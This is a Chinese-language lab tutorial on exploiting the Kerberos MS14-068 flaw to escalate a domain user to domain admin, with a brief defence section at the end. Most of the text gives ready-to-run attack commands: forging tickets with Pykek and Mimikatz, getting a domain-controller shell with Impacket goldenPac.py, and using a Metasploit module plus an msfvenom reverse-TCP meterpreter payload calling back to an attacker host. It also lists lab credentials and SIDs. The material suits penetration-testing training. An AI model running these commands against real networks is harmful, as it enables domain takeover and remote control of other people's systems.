kerberos-MS14-068(kerberos域用户提权)
字数 1151 2025-08-18 17:33:05

Kerberos-MS14-068漏洞利用与防御教学文档

漏洞概述

MS14-068 (CVE-2014-6324)是微软于2014年11月18日发布的紧急补丁修复的Kerberos KDC漏洞,影响Windows全版本服务器系统:

  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2

漏洞原理:攻击者可以伪造Kerberos Ticket声明自己是域管理员,而KDC在处理该Ticket时未正确验证签名,导致普通域用户可提升至域管理员权限。

漏洞利用前提条件

  1. 获取域内任意一台计算机的shell权限
  2. 知道任意一个域用户的:
    • 用户名
    • SID
    • 密码

利用方法

方法一:Pykek + Mimikatz

工具准备

  • Pykek (Python Kerberos Exploitation Kit):https://github.com/mubix/pykek
  • Mimikatz

利用步骤

  1. 检查补丁情况

    wmic qfe get hotfixid
    

    确认不存在KB3011780补丁

  2. 获取用户SID

    whoami /user
    

    或查看所有用户SID:

    wmic useraccount get name,sid
    
  3. 生成高权限票据

    python ms14-068.py -u user@pentest.com -s S-1-5-21-3112629480-1751665795-4053538595-1104 -d 172.16.86.130 -p Aa123456@
    

    生成TGT_user1@pentest.com.ccache文件

  4. 使用Mimikatz注入票据

    • 清除现有票据:
      kerberos::purge
      
    • 注入新票据:
      kerberos::ptc "TGT_user1@pentest.com.ccache"
      
  5. 验证权限

    dir \\WIN-2K5J2NT2O7P\c$
    

方法二:Impacket的goldenPac.py

工具准备

  • Impacket工具包
  • 安装Kerberos客户端:
    apt-get install krb5-user -y
    

利用步骤

python goldenPac.py pentest.com/user1:jackpwd@dc.pentest.com

可直接获取域控制器的cmd shell

方法三:Metasploit框架

利用步骤

  1. 使用MS14-068模块:

    use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
    set DOMAIN pentest.com
    set PASSWORD Aa123456@
    set USER user1
    set USER_SID S-1-5-21-3112629480-1751665795-4053538595-1104
    exploit
    

    生成bin格式票据文件

  2. 使用Mimikatz转换格式:

    kerberos::clist "20180715230259_default_172.16.86.130_windows.kerberos_839172.bin" /export
    

    生成kirbi格式票据

  3. 生成并上传木马:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.86.135 LPORT=4444 -f exe > shell.exe
    
  4. 建立监听并执行木马

  5. 导入票据并提权:

    load kiwi
    kerberos_ticket_use /tmp/0-00000000-user1@krbtgt-PENTEST.COM.kirbi
    background
    

    然后使用psexec模块提权

防御方案

  1. 补丁管理

    • 开启Windows Update自动更新
    • 手动安装MS14-068补丁(KB3011780)
  2. 账户安全

    • 禁用域内账户弱口令
    • 定期修改密码
    • 实施强密码策略
  3. 安全防护

    • 在服务器端安装反病毒软件并保持更新
    • 监控异常Kerberos票据请求
  4. 日志监控

    • 监控异常权限提升行为
    • 特别关注psexec等工具的异常使用

测试环境参考

  • 域:pentest.com
  • 域账号:user1/Aa123456@
  • 域SID:S-1-5-21-3112629480-1751665795-4053538595-1104
  • 域控:WIN-2K5J2NT2O7P.pentest.com
  • 攻击机(Kali):172.16.86.131
  • 域机器:172.16.86.129
Kerberos-MS14-068漏洞利用与防御教学文档 漏洞概述 MS14-068 (CVE-2014-6324)是微软于2014年11月18日发布的紧急补丁修复的Kerberos KDC漏洞,影响Windows全版本服务器系统: Windows Server 2003 Windows Server 2008 Windows Server 2008 R2 Windows Server 2012 Windows Server 2012 R2 漏洞原理 :攻击者可以伪造Kerberos Ticket声明自己是域管理员,而KDC在处理该Ticket时未正确验证签名,导致普通域用户可提升至域管理员权限。 漏洞利用前提条件 获取域内任意一台计算机的shell权限 知道任意一个域用户的: 用户名 SID 密码 利用方法 方法一:Pykek + Mimikatz 工具准备 : Pykek (Python Kerberos Exploitation Kit):https://github.com/mubix/pykek Mimikatz 利用步骤 : 检查补丁情况 : 确认不存在KB3011780补丁 获取用户SID : 或查看所有用户SID: 生成高权限票据 : 生成TGT_ user1@pentest.com.ccache文件 使用Mimikatz注入票据 : 清除现有票据: 注入新票据: 验证权限 : 方法二:Impacket的goldenPac.py 工具准备 : Impacket工具包 安装Kerberos客户端: 利用步骤 : 可直接获取域控制器的cmd shell 方法三:Metasploit框架 利用步骤 : 使用MS14-068模块: 生成bin格式票据文件 使用Mimikatz转换格式: 生成kirbi格式票据 生成并上传木马: 建立监听并执行木马 导入票据并提权: 然后使用psexec模块提权 防御方案 补丁管理 : 开启Windows Update自动更新 手动安装MS14-068补丁(KB3011780) 账户安全 : 禁用域内账户弱口令 定期修改密码 实施强密码策略 安全防护 : 在服务器端安装反病毒软件并保持更新 监控异常Kerberos票据请求 日志监控 : 监控异常权限提升行为 特别关注psexec等工具的异常使用 测试环境参考 域:pentest.com 域账号:user1/Aa123456@ 域SID:S-1-5-21-3112629480-1751665795-4053538595-1104 域控:WIN-2K5J2NT2O7P.pentest.com 攻击机(Kali):172.16.86.131 域机器:172.16.86.129